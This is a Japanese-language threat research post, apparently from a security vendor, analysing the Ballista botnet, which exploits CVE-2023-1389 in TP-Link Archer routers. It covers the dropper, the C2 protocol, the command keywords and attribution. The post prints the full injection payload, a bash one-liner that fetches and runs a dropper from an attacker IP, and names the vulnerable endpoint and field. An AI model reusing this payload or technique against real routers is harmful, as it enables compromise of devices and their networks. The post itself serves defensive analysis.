Cato CTRL脅威リサーチ:Ballista – 数千台のTP-Link Archerルーターを標的とした新しいIoTボットネット

要旨
ここ数年、MiraiやMoziなどの主要IoTボットネットは、ルーターがいかに簡単に悪用されるかを証明しており、脅威アクターにも注目されてきました。主に2つの課題が彼らに有利に働きました。それは、ユーザーがルーターに新しいファームウェアを導入することはほとんどないという事実と、ルーターベンダーがセキュリティを重視していないことです。その結果、ルーターの脆弱性は、パッチが公開された後でも、当初の予想よりもはるかに長い間そのまま残る可能性があります。
Cato CTRLは2025年初頭から、IoTデバイスの悪用の試みと、その試みを通じて展開されたマルウェアに関するデータを収集しています。私たちの調査中に、TP-Link Archerルーターを狙った、これまで報告されていなかった世界規模のIoTボットネット攻撃が確認されました。このボットネットは、TP-Link Archerルーターに存在するリモートコード実行(RCE)の脆弱性(CVE-2023-1389)を悪用し、インターネット上で自動的に拡散します。具体的には、AX21モデル(別名AX1800モデル;ファームウェアの更新情報はこちら)を対象としており、インターネット上で自動的に拡散します。TP-Link製品は最近注目を集めており、2024年12月には米ウォール・ストリート・ジャーナルが、TP-Link製品に中国関連のセキュリティ上の懸念があるとして、米政府機関が使用禁止を検討していると報じました。
この攻撃は、1月10日にCato CTRL によって初めて確認されました。 数回の初回アクセスの試みが数週間の間に検出され、最新の試みは2月17日に発生しました。初期ペイロードには、マルウェアをダウンロードするマルウェアドロッパー(bashスクリプト)が含まれています。私たちは分析中に、このボットネットがより秘匿性を高めるためにTorドメインの使用へと切り替える進化を見せたことを確認しました。これは、今回の攻撃に対する私たちの調査がきっかけになった可能性があります。
マルウェアが実行されると、ポート82上にTLSで暗号化されたコマンド&コントロール(C2)チャネルが構築され、侵害されたデバイスを完全に制御するために使用されます。これにより、シェルコマンドを実行してさらなるリモートコード実行(RCE)やサービス拒否(DoS)攻撃を行うことが可能になります。さらに、このマルウェアはローカルシステム上の機密ファイルを読み取ろうとします。
Cato CTRL は、C2サーバーのIPアドレス(2.237.57[.]70)の位置情報およびマルウェアのバイナリ内に含まれるイタリア語の文字列に基づき、このキャンペーンがイタリアを拠点とする脅威アクターに関連していると中程度の確度で評価しています。イタリアとの関連性と、標的となったTP-Link Archerルーターにちなんで、私たちはこのボットネットを古代ローマの兵器にちなんで「Ballista(バリスタ)」と名付けました。
Ballistaボットネットは、アメリカ、オーストラリア、中国、メキシコにおける製造業、医療・ヘルスケア、サービス業、テクノロジー企業を標的にしています。Censysによる検索を通じて、本ブログの執筆時点でインターネットに接続されている6,000台以上の脆弱なデバイスを特定しました。私たちは、このボットネットが現在も活動を続けていると考えています。以下の分析では、マルウェアの内部動作、C2プロトコル、探索手法、そしてDoS機能について詳しく解説します。
Cato SASE Cloud Platformは、多層的なセキュリティアプローチを活用することで、Ballistaボットネットやそれに類似する脅威から組織を保護します。
- Cato IPSは、CVE-2023-1389をブロックするためのカスタマイズされた保護と汎用的な保護の両方を提供します。さらに、Cato IPS は、ラテラルムーブメントやC2通信などのマルウェア活動に対する振る舞い検知を提供し、Catoに接続されたすべてのエッジ(拠点、リモートユーザー、クラウドリソース)を保護します。
- Cato IoT/OT Securityは、デバイス識別機能を提供し、管理者がネットワーク上の各デバイスに対して個別にポリシーを適用できるようにすることで、組織の脆弱な部分を含めたセキュリティ体制を強化します。
技術概要
ドロッパー分析
Ballistaボットネットは、初期アクセス手法の一環として、CVE-2023-1389の脆弱性を悪用します。TP-Link ArcherルーターのWeb管理インターフェースに存在するこの脆弱性(T1190)は、/cgi-bin/luci;stok=/locale エンドポイント内の「country」フォームでユーザー入力のサニタイズが行われていないことに起因し、認証なしでroot権限によるコマンド実行(T1059.004)が可能になるものです。
このボットネットは、dropbpb.shと呼ばれる平文シェルドロッパーをダウンロードして実行するペイロードを注入することで、この脆弱性を悪用します。このドロッパーはマルウェアのバイナリをダウンロードし、侵害されたデバイス上で実行する役割を担います。
以下は、ドロッパーをインストールするために使用されたURLデコード後のペイロードです。
$(echo 'cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && dbp="dropbpb.sh"; while true; do r=$(curl http://2.237.57[.]70:81/dropbpb.sh 2>/dev/null || wget http://2.237.57[.]70:81/dropbpb.sh -O - 2>/dev/null); case "$r" in *"uvuvuvuuvuvuvu"*) echo "$r" > $dbp && chmod 777 $dbp && (sh $dbp &) || (./$dbp &); break;; esac; sleep 60; done' | sh &)
この1行のbashコマンドは、攻撃者が管理するサーバー(2.237.57[.]70)のポート81(T1571)から、HTTP(T1071.001)経由でドロッパーをダウンロードし、ディスクに書き込む処理を繰り返すwhileループを記述しています。次に、そのファイルにフルパーミッション(T1222.002)を与え、バックグラウンドプロセスとして実行します。
ドロッパーは実行されると、自身をディスクから削除(T1070.004)し、ローカルシステム上の他のディレクトリへ移動を試みます(T1083、T1070.010)。その後、マルウェアをダウンロードして実行します。
最終的に、このスクリプトはcurlコマンド、または代替手段としてwgetを使用して、ターゲットシステム上にあらかじめコンパイルされた5つのバイナリをbpb.$archという名前でドロップします(T1105)。これらは、mips、mipsel、armv5l、armv7l、x86_64 の各システムアーキテクチャに対応しています。この動作は、マルウェアのドロッパーによく見られる一般的な手法です。ここで注目すべき点は、ドロッパーが侵害されたシステムのアーキテクチャを確認して対応するバイナリのみをダウンロードするのではなく、すべてのバイナリをダウンロード・実行しようとする「目立つ」動作をしていることです。この手法は両方とも、私たちがIoTマルウェアを調査する中で、他のドロッパーにも見られたものです。
たとえば、RedTailクリプトマイナーのドロッパーでは、uname –mp コマンドを使用して
ハードウェアプラットフォームの種類とプロセッサアーキテクチャを特定しているのを確認しました。

図1.マルウェアのバイナリをダウンロードするために使用されるドロッパーコード
Cato CTRL – The Cyber Threats Research Lab | Learn moreマルウェアの主な機能(概要)
デフォルトのマルウェア実行フローでは、以下の機能が確認されています。
- 実行時に自身の過去のインスタンスを終了させ(T1057)、ディスク上の自身を削除することで(T1070.004)検知を回避します。
- システム上の多数の設定ファイルを読み取ります(T1005, TA0007)。
- ポート82上に構築された、暗号化されたC2チャネル(T1573、T1095)を通じて、追加の機能を呼び出すことができます。
- CVE-2023-1389 を悪用しようとすることで(T1190、T1059.004)、インターネット上の他のデバイスへ自動的に拡散します。
C2サーバーから特定のコマンドを受信すると、マルウェアはさらに以下の機能を実行することができます。
マルウェアの機能(詳細分析)
このセクションでは、前述したマルウェアの機能について詳しく説明し、本マルウェアが使用する各種モジュールを解説しながら、それぞれのモジュールがどのように異なる目的の達成に貢献しているかを分析します。
マルウェアは各種モジュールを管理するためにモジュールキューを保持しており、これはC2サーバーから要求されたモジュールを格納するためのものです。さらに、マルウェアはバックグラウンドスレッドを起動し、キューに新たなモジュールが追加されていないかを継続的に監視し、それらを新しいスレッドで実行します。
以下のモデルは、マルウェアの動作の仕組みを示しています。

図2.マルウェアの実行フロー
メインスレッド
上の図に示されているように、メインスレッドはまず、過去に実行されたマルウェアのインスタンスを終了させ、自身のバイナリをディスクから削除することから始まります。この動作は標準出力にも反映されます。

図3.マルウェアの標準出力(パート1)
アセンブリコードを詳しく見ると、複数のps
コマンドを使用して実行中のプロセスを一覧表示し、その後 sys_kill
システムコールの SIGTERM シグナルを用いて、マルウェアのバイナリに関連するプロセスを終了させていることが確認できます。
図4.コマンドを使用して過去のインスタンスを一覧表示し、終了させる処理(マルウェアのアセンブリコード)
また、マルウェアのファイルをディスクから削除するために使用されるコマンドも確認できます。
図5.rm コマンドを使用してバイナリをディスクから削除する処理(マルウェアのアセンブリコード)
このような動作はIoTマルウェアによく見られ、痕跡の削除やノイズの低減によって検知を回避するのに役立ちます。
機密ファイルの読み取り
さらに、このマルウェアがローカルシステム上の多数の機密ファイルを読み取ろうとする動作も確認されており、その痕跡はマルウェア内の文字列やシステムコールに反映されています。アクセスが試みられているファイルの一部は以下のとおりです。
- 設定や環境に関連するファイル(例:
/etc/hosts、 /etc/resolv.conf、 /etc/nsswitch.conf
)など。 - ユーザーや認証に関連するファイルおよびディレクトリ(例:
/etc/passwd, /etc/shadow、 /etc/sudoers、 /etc/pam.d/
)など。 - SSLに関連するファイル(例:
/etc/ssl/openssl.conf、 /etc/security/limits.conf
)など。
これらのファイルに対して具体的な悪用は確認されていないものの、攻撃者がこのデータをさまざまな悪意ある活動に利用する可能性がある点は重要です。たとえば、情報の持ち出し、環境設定の改変によるアクセス妨害、バックドアの作成、ラテラルムーブメントなどが考えられます。
C2(コマンド&コントロール)設定
これらのステップが完了すると、マルウェアはオペレーティングシステム(OS)のアーキテクチャを出力し、C2チャネルの設定を開始します。

図6.マルウェアの標準出力(パート2)
ネットワークトラフィックを分析すると、このC2チャネルは、マルウェアがダウンロードされたのと同じ攻撃者管理のIPアドレス(2.237.57[.]70)のポート82に接続されていることが判明しました。
アセンブリコードを確認すると、C2チャネルの設定のために新しいスレッドを開始する目的で pthread_create()
関数が使用されていることがわかります。その新しいスレッドで呼び出されている関数を分析した結果、C2チャネルはトランスポート層セキュリティ(TLS)を使用して確立されていることが判明しました。ハンドシェイクの後に送信される最初のパケットには、このマルウェア特有の侵害指標(IoC)である文字列 hiimrealinfected
が含まれています。続いて送信される2番目のパケットには、client_info_architecture x86_64
という文字列が含まれています。これら2つの文字列が、クライアントからデフォルトで送信される唯一のデータです。
図7.C2チャネル経由でクライアントが送信する最初のパケットのデータ(マルウェアのアセンブリコード)
エクスプロイターモジュール
同時に、マルウェアをインターネット上に拡散させる役割を持つ EXPLOITER モジュールがキューに追加されます。各イテレーションの前に、マルウェアは sys_nanosleep
システムコールを使用して5分間待機します。この動作は、検知回避のためによく見られるマルウェアの挙動です。
EXPLOITERモジュールによってCVE-2023-1389の脆弱性を悪用する試みが、HTTP経由でポート8080に送信されており、その際に使用されているペイロードは、本ブログの冒頭で分析したものと同一です。
この動作は標準出力にも反映されます。HTTPヘッダー、チャットメッセージ、データベースのログなど。

図8.マルウェアの標準出力(パート3)
これでデフォルトのマルウェア実行フローは終了しますが、アセンブリコードをさらに分析した結果、C2チャネルから受信したコマンド内に含まれるキーワードに基づいて、マルウェアが特定の動作を実行することが判明しました。新しいモジュールが要求されると、マルウェアはそれをキューに追加します(上の図に示されている FLOODER モジュールのように)。
C2コマンド
C2コマンドの解析を担当する関数を調査した結果、以下のキーワードが使用されていることが判明しました。
- flooder:FLOODERモジュールを起動するためのキーワードです。
- exploiter:EXPLOITERモジュールを起動するためのキーワードです。
- start:exploiterキーワードと併用してモジュールを起動するための任意のパラメーターです。このパラメーターが指定されていない場合は、代わりにKILLALLモジュールが起動されます。
- close:モジュールの起動処理を停止するためのキーワードです。
- shell:ローカルシステム上でLinuxシェルコマンドを実行するためのキーワードです。
- killall:KILLALLモジュールを起動するためのキーワードです。
ここで特に注目すべきキーワードは、shell と flooder の2つのモジュールであり、これらについては次のセクションで詳しく説明します。
Shell モジュール
shell キーワードの後には、sys_execve を呼び出すためのパラメーターとして使用される bash コマンドが続くことが想定されています。これは基本的なバックドア機能であり、データの持ち出し、永続化、ラテラルムーブメントなど、あらゆるポストエクスプロイト活動を可能にします。
図9.Shell モジュールの実装(マルウェアのアセンブリコード)
Flooder モジュール
flooder キーワードの後には、7つのパラメーターが続くことが想定されています。これらのパラメーターは1つずつ出力された後、キューからFlooder モジュールが起動されると処理されます。
Flooder モジュールを解析すると、pthread_create 関数を使用して新しいスレッドがループ内で継続的に生成されていることが確認されます。この関数呼び出しに渡される引数は、C2から受信したパラメーターに基づいて計算されます。
このマルウェアは複数のフラッド攻撃タイプに対応可能なモジュール構成になっているようですが、現時点で確認されている実装は1種類のみです。この攻撃は、C2コマンドのパラメーターから計算されたメモリアドレス内にある tcpgeneric というキーワードによってトリガーされます。
flooder キーワードとそのパラメーターは、RAWソケットを介して送信されます。モジュールのデータは、受信したパラメーター(暗号化されている)から動的に計算されます。そのため、これ以上の詳細な解析は現時点では不可能です。
図10.Flooder モジュールによるRAWソケットの作成処理(マルウェアのアセンブリコード)
アトリビューション(攻撃者の特定)
Cato CTRL は、Ballista ボットネットに関連する個人の脅威アクターを特定しました。この脅威アクターはイタリアを拠点としていると評価しています。この評価は、C2サーバーのIPアドレス(2.237.57[.]70)の所在地に加え、マルウェアのバイナリ内に見つかったイタリア語の文字列に基づき、中程度の確度で行われたものです。
執筆時点では、このIPアドレスはすでに応答しておらず、代わりにハードコードされたIPではなくTorドメインを使用する、マルウェアドロッパーの新たな亜種がGitHub上で確認されています。これは、脅威アクターによる攻撃の高度化を示唆しています。このマルウェアは他のボットネットといくつかの類似点を持っていますが、Mirai や Mozi といった広く使用されているボットネットとは異なる特徴を有しています。
結論
IoTデバイスが脅威アクターの標的となり続けているのには、いくつかの理由があります。
- これらのデバイスは多くの場合インターネットに接続されており、初期状態のままの弱い認証情報を用いたWebインターフェースが使われていることが多く、初期アクセスの手段として狙われやすいのです。
- 通常、これらのデバイスは適切に保守されておらず、堅牢なセキュリティが欠如しているうえ、多くの脆弱性を含み、セキュリティパッチの適用にも時間がかかります。さらに、これらのデバイスのアップデートプロセスには自動的なパッチ適用機能が備わっていないことが多く、手動でのファームウェア更新が必要になる場合もあるため、保護が非常に煩雑で困難になります。
組織のネットワーク内にあるIoTデバイスを積極的に特定・管理することは、リスクを軽減し、重要なインフラのレジリエンスを確保するうえで不可欠です。
保護
Cato SASE Cloud Platformは、多層的なセキュリティアプローチを活用することで、Ballistaボットネットやそれに類似する脅威から組織を保護します。
- Cato IPS は、CVE-2023-1389をブロックするためのカスタマイズされた保護と汎用的な保護の両方を提供します。さらに、Cato IPS は、ラテラルムーブメントやC2通信などのマルウェア活動に対する振る舞い検知を提供し、Catoに接続されたすべてのエッジ(拠点、リモートユーザー、クラウドリソース)を保護します。
- Cato IoT/OT Security は、デバイス識別機能を提供し、管理者がネットワーク上の各デバイスに対して個別にポリシーを適用できるようにすることで、組織の脆弱な部分を含めたセキュリティ体制を強化します。